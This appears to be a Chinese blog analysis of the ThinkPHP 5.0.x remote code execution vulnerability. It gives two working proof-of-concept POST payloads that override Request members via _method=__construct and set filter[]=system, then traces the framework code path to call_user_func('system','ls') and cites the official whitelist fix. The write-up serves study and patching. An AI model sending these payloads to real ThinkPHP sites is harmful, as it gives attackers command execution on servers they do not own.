ThinkPHP 5.0.22
安装
http://www.thinkphp.cn/down/1260.html
debug模式 关闭
poc1
payload
1 2
| POST /?s=captcha _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
|
start.php
下断点
1 2 3
| if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
|
routeCheck
1 2 3 4 5 6 7 8 9 10 11 12
| public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false;
// 路由检测 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; ……(省略)
// 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
|
check
方法内
1
| $method = strtolower($request->method());
|
跟进method
config.php中定义了var_method = _method
当post存在_method
参数时,会执行$this->{$this->**method**}($_POST);
$this->method
是_method的值,也就是执行了$this->__construct($_POST)
传入的__construct
让Request类内的成员全部被覆盖了
__construct 函数不贴了
/vendor/topthink/think-captcha/src/help.php
?s=captcha 注册了路由,使得dispatch[“type”]=”method”
接着
1
| $data = self::exec($dispatch, $config);
|
跟进exec,type=”method”
1 2 3 4
| case 'method': $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break;
|
这里实例化了Request类,并执行param方法
1 2 3 4
| public function param($name = '', $default = null, $filter = '') { if (empty($this->mergeParam)) { $method = $this->method(true);
|
跟进method
1 2 3 4
| public function method($method = false) { if (true === $method) {
|
1
| return $this->server('REQUEST_METHOD') ?: 'GET';
|
跟进server,之前覆盖掉了$this->server
使得$this->server = [REQUEST_METHOD => 'ls']
1 2 3 4 5 6 7 8 9 10
| public function server($name = '', $default = null, $filter = '') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
|
这里$name='REQUEST_METHOD'
最后$this->server = array('REQUEST_METHOD' => 'ls')
跟进input
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public function input($data = [], $name = '', $default = null, $filter = '') { ……省略 foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return $default; } } if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); }
if (isset($type) && $data !== $default) { $this->typeCast($data, $type); } return $data; }
|
这里$data = array('REQUEST_METHOD' => 'ls')
$filter=""
$name="REQUEST_METHOD";
1 2 3
| foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val];
|
这里将$data = $data[$name]
也就是$data="ls";
1
| $filter = $this->getFilter($filter, $default);
|
跟进一下filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default; return $filter; }
|
这里$filter=array("system")
,最后把$default push进去
返回的$filter=array("system",null)
1 2 3 4 5
| if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter);
|
$data=”ls” 走else
1 2 3 4 5 6 7
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value);
|
array_pop
把最后的null弹出,$filter 数组只有”system” 一个元素
循环第一次就执行了
1
| call_user_func("system", "ls");
|
整个调用链
poc2
1 2
| POST /?s=captcha _method=__construct&filter[]=system&method=get&get[]=ls
|
param 方法执行不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function param($name = '', $default = null, $filter = '') { if (empty($this->mergeParam)) { $method = $this->method(true); switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; }
|
$this->server 为空,没执行任何命令,继续,switch($method),只有true,
到default
1
| $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
|
this->get(false)
1 2 3 4 5 6 7 8 9 10 11
| public function get($name = '', $default = null, $filter = '') { if (empty($this->get)) { $this->get = $_GET; } if (is_array($name)) { $this->param = []; return $this->get = array_merge($this->get, $name); } return $this->input($this->get, $name, $default, $filter); }
|
$this->input(array('ls'),false)
跟进input
1 2 3 4 5 6
| public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
|
直接返回array('ls')
合并进$this->param
,又来到input
1
| return $this->input($this->param, $name, $default, $filter);
|
跟进input
1 2 3
| if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data);
|
$data = array('ls',id=>null)
执行
1
| filterValue(&$value, $key, $filters)
|
整个调用
debug模式 开启
不需要?s=captcha
App::run()
1 2 3 4 5
| if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
|
没开启时跳过了,开启后,调用了$request->param()
省略了
1
| self::exec->case 'method':->Request::instance()->param()
|
的过程
官方修复
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
将执行Request任意方法,改成了指定的白名单内的,
执行任意方法确实会出事orz
参考
1 2 3
| https://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://p0desta.com/2019/02/17/thinkphp5.0.x-%E8%B7%AF%E7%94%B1%E9%97%AE%E9%A2%98RCE/
|